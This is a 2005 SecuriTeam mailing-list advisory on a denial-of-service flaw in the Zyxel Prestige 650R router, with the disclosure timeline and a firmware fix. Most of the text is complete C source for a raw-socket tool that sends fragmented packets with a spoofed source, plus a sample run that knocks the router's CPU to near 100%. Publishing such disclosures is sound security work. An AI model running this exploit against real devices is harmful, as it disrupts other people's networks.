[NEWS] Prestige 650R ADSL Router DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 05/26/05
- Previous message: SecuriTeam: "[NT] Halo: Combat Evolved DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 26 May 2005 18:15:58 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Prestige 650R ADSL Router DoS
------------------------------------------------------------------------
SUMMARY
<ww.zyxel.com> Zyxel Prestige 600 Series is "a Popular ADSL Modem and
Router".
Prestige 600 fails to handle malformed fragmented IP packets. Whenever
Prestige stumbles upon such packets its CPU usage will spike to 100% thus
causing denial of service.
DETAILS
Vulnerable Systems:
* Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1)
Immune Systems:
* ZyNOS FireWall version 3.40(GT.5)
Vendor Status:
The vendor claims its not a vulnerability, that is rather a "Hardware
Limitation". But seems an the last release of it's firmware fixed the
problem.
Patch Availability:
Upgrade the firmware to V3.40(GT.5)
Disclosure Timeline:
* 05.02.05 - Initial vendor notification
* 05.03.05 - Initial vendor response
* 05.08.05 - Vendor determined as a HW limitation
* 05.10.05 - No response from vendor to several mails
Exploit:
Any IP crafting tool will do the job, in this case we used a fragmented ip
generator coded by Fryx:
/*
* frag
* by: Fryxar
* e-mail: fryxar@yahoo.com.ar
*
* Fragment ICMP packet generator
*/
#include<stdio.h>
#include<netdb.h>
#include<stdlib.h>
#include<errno.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>
#define ERROR(msg) {perror(msg); exit -1;}
#define FRAGS_ALL 0
#define FRAGS_ODD 1
#define FRAGS_EVEN 2
int open_packet() {
int s, on = 1;
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
ERROR("socket");
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
ERROR("setsockopt");
return s;
}
unsigned short in_cksum(unsigned short *addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we
add
* sequential 16 bit words to it, and at the end, fold back all
the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr,
int protocol, char frags, int id, int frag_len, int tot_len) {
unsigned char packet[IP_MAXPACKET];
struct iphdr *iphdr;
struct icmphdr *icmphdr;
int offset, length;
int start, step;
switch(frags) {
case FRAGS_ALL:
start = 0;
step = (frag_len<<3);
break;
case FRAGS_EVEN:
start = 0;
step = 2*(frag_len<<3);
break;
case FRAGS_ODD:
start = (frag_len<<3);
step = 2*(frag_len<<3);
break;
}
memset(packet, 0, IP_MAXPACKET);
length = sizeof(struct iphdr) + (frag_len<<3);
iphdr = (struct iphdr *)packet;
icmphdr = (struct icmphdr *)(packet + sizeof(struct iphdr));
iphdr->ihl = 5;
iphdr->version = IPVERSION;
iphdr->tot_len = htons(length);
iphdr->id = htons(id);
iphdr->ttl = IPDEFTTL;
iphdr->protocol = protocol;
iphdr->saddr = saddr.sin_addr.s_addr;
iphdr->daddr = daddr.sin_addr.s_addr;
for(offset = start; offset < tot_len; offset += step) {
if(offset) {
// Not first fragment
iphdr->frag_off = htons(offset>>3);
bzero(packet + sizeof(struct iphdr), IP_MAXPACKET
-
sizeof(struct iphdr));
} else {
// First fragment
iphdr->frag_off = 0;
if(protocol == IPPROTO_ICMP) {
icmphdr->type = ICMP_ECHO;
icmphdr->code = 0;
icmphdr->un.echo.id = 0;
icmphdr->un.echo.sequence = 0;
icmphdr->checksum = (unsigned short)in_cksum((unsigned short
*)icmphdr, tot_len);
}
}
if(offset + (frag_len<<3) < tot_len) {
iphdr->frag_off |= htons(IP_MF);
} else {
length = sizeof(struct iphdr) + tot_len - offset;
iphdr->tot_len = htons(length);
}
iphdr->check = (unsigned short)in_cksum((unsigned short *)iphdr,
sizeof(struct iphdr));
if(sendto(s, packet, length, 0x0, (struct sockaddr *)&daddr,
sizeof(struct sockaddr)) != length)
ERROR("sendto");
}
}
void usage(char *program) {
fprintf(stderr, "frag v"VERSION"\n"
"usage: %s [options] <source_host> <destination_host>\n\n"
"options:\n"
" -i <id> Starting session id (range: 1-65535)\n"
" -s <fragmentsize> Fragments size (x 8)\n"
" -l <packetsize> Total packet size\n"
" -t <type> Set send policity (odd|even|all)\n"
" -p <protocol> Set protocol (tcp|udp|icmp...)\n"
" -a <n> Amount of packet to send\n"
"\ndefault:\n"
"%s -i 1 -t all -s 7 -p icmp -l 64000 -a 1 my_host.com
your_host.com\n"
"\n", program, program);
exit(-1);
}
int main(int argc, char *argv[]) {
char *shost, *dhost;
struct hostent *hostentry;
struct sockaddr_in saddr, daddr;
struct protoent *protoent;
int s, i;
int id = 1, size = 7, len = 64000, amount = 1;
int protocol = IPPROTO_ICMP, type = FRAGS_ALL;
if(argc < 3) usage(argv[0]);
while((i = getopt(argc, argv, "a:i:s:l:t:p:")) != -1) {
switch(i) {
case 'i':
if(strlen(optarg) == 0) usage(argv[0]);
id = atoi(optarg);
break;
case 's':
if(strlen(optarg) == 0) usage(argv[0]);
size = atoi(optarg);
break;
case 'a':
if(strlen(optarg) == 0) usage(argv[0]);
amount = atoi(optarg);
break;
case 'l':
if(strlen(optarg) == 0) usage(argv[0]);
len = atoi(optarg);
break;
case 't':
if(!memcmp(optarg, "odd", 4)) type = FRAGS_ODD;
else if(!memcmp(optarg, "even", 5)) type =
FRAGS_EVEN;
else if(!memcmp(optarg, "all", 4)) type =
FRAGS_ALL;
else usage(argv[0]);
break;
case 'p':
if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);
protocol = protoent->p_proto;
break;
default:
usage(argv[0]);
break;
}
}
shost = argv[argc-2];
dhost = argv[argc-1];
// Source address
if((hostentry = gethostbyname(shost)) == NULL) ERROR("gethostbyname
source address");
memset(&saddr, 0, sizeof(struct sockaddr));
saddr.sin_family = AF_INET;
saddr.sin_addr = *((struct in_addr *)hostentry->h_addr);
// Destination address
if((hostentry = gethostbyname(dhost)) == NULL) ERROR("gethostbyname
destination address");
memset(&daddr, 0, sizeof(struct sockaddr));
daddr.sin_family = AF_INET;
daddr.sin_addr = *((struct in_addr *)hostentry->h_addr);
// MAIN
s = open_packet();
for(i = 0; i < amount; i++) {
printf("Sending packets with ID %d (frags length=%d, total
length=%d)\n",
(id + i)%65535,
(size<<3), len);
send_packet(s, saddr, daddr, protocol, type, (id + i)%65535, size,
len);
}
close(s);
return(0);
}
Example:
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms
64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms
--- 192.168.1.252 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
-Prestige Status (Normal)
Ethernet:
Status: 100M/Full Duplex Tx Pkts: 71
Collisions: 0 Rx Pkts: 164
CPU Load = 4.09%
root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a
1 170.1.2.3 192.168.1.252
Sending packets with ID 1 (frags length=56, total length=64000)
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms
64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms
-- 192.168.1.252 ping statistics ---
51 packets transmitted, 2 packets received, 93% packet loss
-Prestige Status (During the denial)
Ethernet:
Status: 100M/Full Duplex Tx Pkts: 71
Collisions: 0 Rx Pkts: 164
CPU Load = 99.59%
ADDITIONAL INFORMATION
The information has been provided by <mailto:fedek@infobyte.com.ar>
Federico Kirschbaum.
The original article can be found at: <http://www.infobyte.com.ar>
http://www.infobyte.com.ar
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Halo: Combat Evolved DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|